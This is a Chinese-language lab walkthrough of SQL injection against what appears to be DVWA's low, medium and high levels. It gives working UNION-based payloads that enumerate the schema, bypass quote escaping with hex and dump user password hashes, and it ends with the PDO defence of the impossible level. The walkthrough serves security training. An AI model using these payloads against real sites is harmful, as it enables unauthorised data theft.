SQL Injection SQL注入
SQL 注入的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以
归结为以下两个原因叠加造成的:
- 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。
- 未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。
low
-
判断注入类型
1 2 //正常回显,可用联合查询 2' //报错,可用报错注入,字符型注入,闭合类型'
-
判断列数
1' order by 1 # 1' order by 2 # 1' order by 3 # //报错,说明总共有两列
-
判断回显位置
-2' union select 1,2; #
-
使用联合查询,查询数据库和版本号
-2' union select database(),version(); #
-
查询表名
-2' union select count(*),0 from information_schema.tables where table_schema=database(); # //查询有几个表 -2' union select group_concat(table_name),0 from information_schema.tables where table_schema=database(); # //查询表名
-
获取列名
-2' union select group_concat(column_name),0 from information_schema.columns where table_schema=database() and table_name='users'; #
-
查询获取到的信息
-2' union select user,password from users; #
- 密码被MD5加密,可以在网站进行破解
medium
-
用bp抓包,判断注入类型
id=1 id=2 //有回显,可以进行联合查询 id=2' //有报错信息,可以进行报错注入,数字型注入,闭合类型'
-
判断列数
id=2 order by 1; id=2 order by 2; id=2 order by 3; //报错,有两列
-
判断回显位置
id=2 union select 1,2;
-
开始联合注入,查询数据库和版本号
id=2 union select version(),database();
-
查询表
id=2 union select count(*),0 from information_schema.tables where table_schema=database(); //查询表数量 id=2 union select group_concat(table_name),0 from information_schema.tables where table_schema=database(); //查询表名
-
查询列
id=2 union select group_concat(column_name),0 from information_schema.columns where table_schema=database() and table_name='users'; //查询列名,发现'被转义,试试",也被转义,转十六进制 id=2 union select group_concat(column_name),0 from information_schema.columns where table_schema=database() and table_name=0x7573657273;
-
查询数据
id=2 union select user,password from users
high
- 发现需要进入一个新页面
-
判断注入类型
1 2 //回显不同,可以联合查询 2' //有报错信息,可以进行报错注入,数字型注入
-
判断列数
2 order by 1; 2 order by 2; //回显一样?看看源代码,发现被limit限制只输入第一条命令,那直接把limit注释掉,要考虑'闭合,注释可以用-- (注意有个空格)和# 2' order by 1;# 2' order by 2;# 2' order by 3;# //报错,有两列
-
判断注入点
2' union select 1,2;#
-
联合查询,获取数据库名和版本号
2' union select database(),version();#
-
查询表
2' union select count(*),0 from information_schema.tables where table_schema=database();# //查询表数量 2' union select group_concat(table_name),0 from information_schema.tables where table_schema=database();# //查询表名
-
查询列
2' union select group_concat(column_name),0 from information_schema.columns where table_schema=database() and table_name='users';#
-
查询数据
2' union select user,password from users;#
impossible
impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为1时,才成功输出,这样就有效预防了脱库,加入了Anti-CSRFtoken机制,进一步提高了安全性。